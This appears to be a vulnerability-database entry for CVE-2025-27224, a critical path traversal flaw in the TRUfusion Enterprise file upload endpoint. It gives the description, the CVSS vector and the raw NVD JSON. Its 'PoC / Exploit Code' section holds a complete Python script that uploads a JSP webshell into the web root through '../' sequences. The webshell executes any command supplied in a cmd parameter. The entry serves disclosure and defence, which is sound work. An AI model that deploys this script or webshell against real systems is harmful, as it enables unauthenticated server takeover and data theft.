Security Vulnerability Report
中文
CVE-2025-27224 CVSS 9.8 CRITICAL

CVE-2025-27224

Published: 2025-10-27 17:15:38
Last Modified: 2025-10-31 20:34:32

Description

TRUfusion Enterprise through 7.10.4.0 uses the /trufusionPortal/fileupload endpoint to upload files. However, the application doesn't properly sanitize the input to this endpoint, ultimately allowing path traversal sequences to be included. This can be used to write to any filename with any file type at any location on the local server, ultimately allowing execution of arbitrary code.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:rocketsoftware:trufusion_enterprise:*:*:*:*:*:*:*:* - VULNERABLE
TRUfusion Enterprise <= 7.10.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-27224 PoC - TRUfusion Enterprise Path Traversal File Upload RCE # Target: TRUfusion Enterprise <= 7.10.4.0 # Endpoint: /trufusionPortal/fileupload TARGET = 'http://target.com' # Path traversal to write webshell to web root PAYLOAD_FILENAME = '../../../var/www/html/shell.jsp' WEBSHELL = '<%@ page import="java.util.*,java.io.*"%><%if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os=p.getOutputStream();InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>' def exploit(): url = f'{TARGET}/trufusionPortal/fileupload' files = { 'file': (PAYLOAD_FILENAME, WEBSHELL, 'application/octet-stream') } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f'[*] Sending exploit to {url}') r = requests.post(url, files=files, headers=headers, timeout=10) if r.status_code == 200: print('[+] File uploaded successfully!') print(f'[+] Webshell location: {TARGET}/shell.jsp?cmd=whoami') else: print(f'[-] Upload failed with status: {r.status_code}') except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-27224", "sourceIdentifier": "[email protected]", "published": "2025-10-27T17:15:38.090", "lastModified": "2025-10-31T20:34:32.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TRUfusion Enterprise through 7.10.4.0 uses the /trufusionPortal/fileupload endpoint to upload files. However, the application doesn't properly sanitize the input to this endpoint, ultimately allowing path traversal sequences to be included. This can be used to write to any filename with any file type at any location on the local server, ultimately allowing execution of arbitrary code."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rocketsoftware:trufusion_enterprise:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.10.4.0", "matchCriteriaId": "2E26A047-ED87-40AB-B487-B4265139A603"}]}]}], "references": [{"url": "https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2025-27224.txt", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.rocketsoftware.com/products/rocket-b2b-supply-chain-integration/rocket-trufusion-enterprise", "source": "[email protected]", "tags": ["Product"]}]}}